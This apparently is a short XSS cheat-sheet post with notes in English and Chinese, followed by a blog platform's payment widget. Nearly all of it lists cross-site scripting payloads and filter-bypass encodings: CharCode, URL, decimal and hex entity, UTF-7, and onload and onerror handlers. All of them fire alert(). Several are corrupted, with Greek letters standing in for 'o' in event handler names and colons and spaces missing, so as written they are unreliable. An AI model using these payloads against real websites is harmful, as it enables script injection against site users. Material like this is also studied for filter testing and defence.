xss





[http://www.baidu.com]


www.google.com\abc

parse \ to / 

www.google.com?abc

transfer to www/?abc


DOM    construct payload  make ' ' pair  // annotate  

interaction  xss worm  

<div style="background:url('javascript:alert("22")')"></div>

<!-- -->

<base>
event  onclick etc

eval function

eval(alert("dd"))



location.hash.substr(1) just from #  

www.g.com/a.php#alert(1)


<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>


<script>alert(“xss”);</script>  to hex  


%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

<BODY οnlοad="alert('XSS')">


<IMG SRC=""οnerrοr="alert('XSS')">

过滤了双引号和 <script>:

<IMGSRC=javascriptalert(&quot;XSS&quot;)>


使用 CharCode 绕过过滤 :

<IMGSRC=javascriptalert(String.fromCharCode(88,83,83))> <IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#10
1;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>


使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。

<IMGSRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C
;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>



<LINKREL="stylesheet"HREF="javascript alert('XSS');">   low  verison of ie


<IMGSRC=`javascript alert("Lookits, 'XSS'")`>


使用 UTF-7 编码后 :

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值